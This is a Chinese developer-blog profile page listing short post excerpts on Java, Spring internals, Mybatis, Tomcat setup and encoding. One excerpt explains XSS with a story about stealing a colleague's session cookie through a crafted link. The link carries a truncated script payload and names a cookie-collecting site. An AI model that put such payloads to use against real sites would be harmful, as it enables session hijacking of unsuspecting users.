自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(39)
  • 收藏
  • 关注

原创 大文件导出

第三轮使用 Mybatis 流式查询,并改用 Map 封装数据,提高内存利用率,时间缩减十分钟;第五轮弃用 opencsv ,改用 BufferWriter 直接写数据,时间缩减十分钟;第四轮弃用 Mybatis ,改用原生 JDBC 获取数据并直接拼接,时间缩减十分钟;初始版本为单线程单文件导出文件,mybatis读 opencsv写,耗时将近三小时;第一轮优化改为多线程单文件,提高读数据效率,时间仅缩减十分钟;第二轮改为多线程多文件,提高写文件效率,时间缩减一个半小时;计算机配置:四核16G内存。

2023-11-23 01:09:46 239

原创 slf4j-logback日志框架源码探究

slf4j - Simple Logging Facade for Java从getLogger这个洞口进去找到引路灯 - bind() 方法绑定实现类findServiceProvidersfindPossibleStaticLoggerBinderPathSet初始化LogbackServiceProviderContextInitializerloadFromServiceLoader() 绑定配置类DefaultJoranConfigurator 加载配置获

2023-11-23 01:04:33 820

原创 【算法】前缀和及差分数组

计算原数组某区间的和利用前缀和计算。

2023-11-23 00:59:06 173

原创 java 写文件注意事项

忽然,不知道是天意还是开窍了,我将错位之前的字符全部选中,也就是从第一行到第222行 I am a java cod 的所有字符,这时候idea给出的字符数是8192!我不太相信,又把之前的demo跑了好几遍,结果还是正常的2000行 I am a java coder, i am strong!它抢到了这把锁之后,看到自己的缓冲区也满了,二话不说就把自己的缓冲区刷了先。但是很遗憾,确认过眼神之后,不是对的人,并没有这样的方法。

2023-04-24 01:25:08 163 1

原创 SpringCooking(六) - refresh方法之initApplicationEventMulticaster()和registerListeners()

在上一篇文章中。

2023-04-08 15:13:38 80

原创 【SpringCooking】厨师就位(五)refresh方法之registerBeanPostProcessors()

BeanPostProcessor

2023-04-05 19:17:46 105

原创 【SpringCooking】厨师就位(四)refresh方法之 invokeBeanFactoryPostProcessors()

在上一篇文章。

2023-04-04 01:15:00 64

原创 【SpringCooking】厨师就位(三)refresh方法之prepareBeanFactory()

在上一篇文章。

2023-04-03 16:59:26 94

原创 【Spring Cooking】厨师就位(二)AnnotatedBeanDefinitionReader注册配置类

在。

2023-04-02 00:44:15 127

原创 【Spring cooking】厨师就位(一)AnnotationConfigApplicationContext

ApplicationContext 接口的抽象实现类,使用的是模板方法设计模式,下面两个抽象方法子类必须实现与 BeanFactory 不同,ApplicationContext 应该检测其内部 BeanFactory 中定义的特殊bean。这些特殊Bean包括同时继承了 DefaultResourceLoader,加载类路径资源也实现了 ConfigurableEnvironment接口,创建环境} }} }

2023-03-29 14:34:06 273

原创 【导读】Spring源码分析目录索引

本篇文章是spring源码分析系列文章的一个索引,罗列出笔者在整理spring源码的思路。在笔者的日常开发中,主要使用spring注解开发,本系列源码解析也将基于spring注解体系去深入分析。在分析的过程中,会将spring注解与xml配置文件的标签对应起来,看spring是如何完成从配置开发到注解开发的转变。

2023-03-29 14:32:56 88

原创 【导读】如何阅读我的博客

这部分主要描述所研究的对象是什么,同时也会对所研究的内容做一个简单的、概括性的总结,方便大家在开始源码追踪前,能有一个大概的印象。

2023-03-29 14:26:37 99

原创 ajax文件下载及文件名编码空格变+号

ajax文件下载 文件名编码 空格变+号

2023-03-27 12:01:20 534

原创 Spring注解开发AnnotationConfigApplicationContext

Spring注解开发 AnnotationConfigApplicationContext

2023-03-02 10:10:11 1938

原创 windows文件夹命名不能为con

Windows保留的关键字。

2023-02-21 14:31:49 307

原创 数据库缓存一致性问题

如何保证数据库缓存的一致性,当刷新数据库或缓存失败时,可以尝试异步重试,具体实现可以是消息队列

2023-02-03 11:42:46 71

原创 ArrayList多线程并发安全问题

ArrayList线程不安全的情况:t1 add时候,size++, 当执行到elementData[size] = e时,时间片用完了,t2 进行add,执行到elementData[size] = e,在数组相同的位置赋值,覆盖了t1的值,回到了t1,size++,t2,也size++,size=2size++为多条指令的组合,多线程并发size++时,size会出现并发问题,小于预期结果当数组元素达到临界值-1的时候(临界值为10,15,22,33…),比如到达了size=14,这时候t1执行

2023-02-01 09:10:29 910

原创 关于String和java值传递的理解

java值传递java值传递是指地址值的传递public class Demo { String str = "aa"; char[] ch = {'a','b'}; public void test(String str, char[] ch){ str = "bb"; ch[0] = 'c'; } public static void main(String[] args) { Demo demo

2023-01-31 16:37:13 533

原创 轻量级分布式锁ShedLock加锁机制

Springboot整合Shedlock解决任务重复调用问题

2023-01-31 15:31:27 348

原创 Spring加载配置类

Spring加载配置类入口AbstractApplicationContextPostProcessorRegistrationDelegateConfigurationClassPostProcessorConfigurationClassParserComponentScanAnnotationParserClassPathBeanDefinitionScannerClassPathScanningCandidateComponentProviderConditionEvaluatorAnnotatio

2023-01-26 14:28:35 1327

原创 mybatis-spring集成原理探究

mybatis的组件如何在spring中注册的,代理类何时创建,怎么起作用

2023-01-21 00:21:43 414

原创 springboot 自定义线程池后程序无法终止

springboot 自定义线程池后程序无法终止

2023-01-06 17:31:47 700

原创 对称加密与非对称加密

2022-03-02 00:14:33 138

原创 继承、多态及动态绑定

继承、多态及动态绑定方法的多态重载重写对象的多态instance of 比较操作符动态绑定机制子类继承父类所有的属性和方法,但不能直接访问私有的属性和方法子类必须要调用父类,才能完成父类的初始化当创建子类对象时,不管使用子类的哪个构造器,默认情况都会调用父类的无参构造器。如果父类没有提供无参构造器,则必须在子类的构造器中用super去指定父类使用哪个构造器完成对父类的初始化工作,否则编译不会通过如果希望指定父类的构造器,则显示调用一下:super()super()在使用时,必须放在构造器第一行

2022-02-23 23:59:20 186

原创 Session是什么时候建立的

HTTP协议是一种无状态的协议,HTTP服务器对客户的每个请求和响应都是作为一个分离的事务处理。服务器无法确定多个请求是来自相同的客户还是不同的客户。这意味着服务器不能再多个请求中维持客户的状态。创建会话对象是服务器的主动行为。一般客户向服务器发送第一个请求的时候,首先明确两点:request.getSession()在没有session的时候会创建session//如果当前没有session,则会立刻建立一个session;如果有session则返回当前sessionHttpSession

2022-02-23 23:57:25 1282

原创 SSM整合swagger以及解决一个url出现全类型接口问题

ssm整合swagger

2022-02-02 14:00:59 1292

原创 SSM项目环境搭建以及集成Mybatis-plus

SSM项目环境搭建

2022-01-30 21:08:54 918

原创 SSM项目集成mybatis-plus之自动填充字段、逻辑删除、分页插件

SSM项目集成mybatis-plus之后配置自动填充字段,逻辑删除,分页插件

2022-01-30 21:02:45 903

原创 windows下cmd查看端口占用情况

查看端口占用情况进入cmd输入 netstat -ano 可以列出所有端口占用情况如果只是找特定端口号,输入 netstat -ano|findstr “8082”,其中8082为端口号,对应PID为16040继续输入 tasklist|findstr “16040”或者到 任务管理器-进程 查找...

2021-12-24 10:26:58 1056

原创 Android Studio无法下载

直接点击下载出现下面的情况复制链接,将redirector.gvt1.com更换为dl.google.com,即可成功下载。

2021-12-07 00:35:30 2235 9

原创 ASCII Unicode UTF-8 编码

编码ASCIIUncodeASCII一个字节可表示256个字符,ASCII只用了128个字符 ASCII打印字符对照表 DEC OCT HEX BIN 缩写/符号 HTML实体 描述 0 000 00 00000000 NUL � Null char (空字符) 1 001 01 00000001 S

2021-12-01 09:00:30 356

原创 利用社区版IDEA纯手工部署应用到Tomcat

原因是没有设置JAVA_HOME用户变量解决方法一:电脑-属性-高级属性-环境变量-添加JAVA_HOME用户变量解决方法二:修改startup.bat,在文件第一行增加set "JAVA_HOME=C:\Program Files\Java\jdk1.8.0_151"

2021-12-01 08:57:43 135

原创 java异常及处理机制

异常一、分类1. Error2. Exception二、处理机制1. 捕获异常2. 抛出异常三、自定义异常类一、分类1. Error2. Exception编译时异常运行时异常二、处理机制1. 捕获异常try-catch-finallytry{ //出现异常后,try块异常后面的代码不会再执行,直接跳转到catch块}catch(Exception e){ //只有出现异常才会执行 //当要跳出catch块时,先去执行finally }finally{

2021-12-01 08:53:18 190

原创 Java数据类型转换

基本数据类型1. 自动类型转换2. 强制类型转换3. String类型与基本数据类型转换1. 自动类型转换char > int > long > float > doublebyte > short > int > long > float > double大小同算,小全转大小赋值大,精度损失(byte, short) 和 char 之间不会相互自动转换byte a = 10 //当把具体的数赋值 byte 时, 先判断该

2021-12-01 08:51:48 59

原创 原码、补码、反码以及位运算

原码、补码、反码以及位运算一、原码、反码、补码二、位运算1. 按位与 &2. 按位或 |3. 按位异或 ^4. 按位取反 ~5. 算术右移 >>6. 逻辑右移 >>>7. 算数左移 <<一、原码、反码、补码二进制的最高位是符号位:0便是正数,1表示负数正数的原码、反码、补码都一样负数的反码=原码符号位不变,其他位取反负数的补码=反码+1负数的反码=补码-10的反码、补码都是0java没有无符号数,换言之,java中的数都是有符号的在计算机

2021-12-01 08:50:03 1124

原创 xss攻击之js获取请求头的sessionid

XSS攻击情景:枸杞哥和人参佬都就职于打不倒企业,他们是铁哥们。枸杞哥经常浏览一些不可描述的网站(比如yellow.com),而且买了大会员。人参佬也想看,但是没有资源,也不好意思问枸杞哥要。好在他技术够好,他自己建了一个砍一刀的网站(kanyidao.com),表面上是砍一刀的优惠信息,实际上是用来收集其他用户的cookie的。一天枸杞哥在浏览的过程中,收到了一封来自人参佬的邮件,邮件说让枸杞哥帮忙砍一刀,并附上了链接http://www.a.com?content=<script>w

2021-11-23 00:08:32 1710

原创 IDEA社区版搭建web项目

IDEA社区版搭建Tomcat服务器并创建web项目目标问题实现步骤目标拥有和专业版创建Web项目的目录结构IDEA社区版可以启动Tomcat服务器编写Servlet并访问成功问题IDEA社区版没有创建Web工程的选项IDEA社区版没有Tomcat插件实现步骤针对以上两个问题,分步解决问题一:IDEA社区版没有创建Web工程的选项创建普通的java项目,此处不再赘述构建web项目的目录结构在WEN-INF文件夹下新建web.xml<?xml vers

2021-11-17 09:32:37 19274 10

原创 局部变量和全局变量赋值时的内存变化

public class Demo { String str = "aa"; char[] ch = {'a','b'}; public void test(String str, char[] ch){ str = "bb"; ch[0] = 'c'; } public static void main(String[] args) { Demo demo = new Demo(); demo.tes

2021-11-17 09:26:13 481

原创 LFM算法

自定义LFMimport numpy as npclass SVD(): def __init__(self, rating_data, F=5, alpha=0.1, lmbda=0.1, max_iter=100): self.F = F self.P = [] self.Q = [] # self.bu = [] # self.bi = [] # self.mu = 0.0

2021-04-01 00:05:09 113

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除